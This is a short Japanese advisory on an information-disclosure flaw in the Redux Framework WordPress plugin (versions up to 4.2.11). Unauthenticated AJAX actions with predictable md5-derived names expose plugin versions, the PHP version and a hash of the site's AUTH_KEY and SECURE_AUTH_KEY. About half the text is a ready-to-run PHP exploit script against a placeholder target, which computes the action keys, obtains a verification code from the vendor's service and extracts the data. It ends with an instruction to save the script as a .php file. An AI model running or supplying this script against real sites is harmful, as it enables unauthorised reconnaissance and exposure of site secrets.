
WordPress用のGutenberg Template Library & Redux Framework プラグイン(<= 4.2.11)は、redux-core/class-redux-core.php の includes 関数内で、未認証ユーザーが利用可能ないくつかのAJAXアクションを登録していました。これらのアクションは、特定のサイトに固有である一方、サイトURLのmd5ハッシュ(既知のソルト値 '-redux' を使用)と、その直前のハッシュのmd5ハッシュ(既知のソルト値 '-support' を使用)に基づいているため、決定的かつ予測可能なものでした。これらのAJAXアクションを使用すると、有効なプラグインとそのバージョンのリスト、サイトのPHPバージョン、およびサイトの AUTH_KEY と SECURE_AUTH_KEY を連結したソルトなしのmd5ハッシュを取得できました。[1][2]
<?php
$target = "https://target.com";
$key1 = md5("$target/-redux");
$key2 = file_get_contents("$target/wp-admin/admin-ajax.php?action=$key1");
$key3 = md5($key2. '-support');
$redux_code = file_get_contents("http://verify.redux.io/?hash=$key3&site=$target/");
echo file_get_contents("$target/wp-admin/admin-ajax.php?action=$key3&code=$redux_code");
上記を拡張子 .php のソースコードとして保存してください。
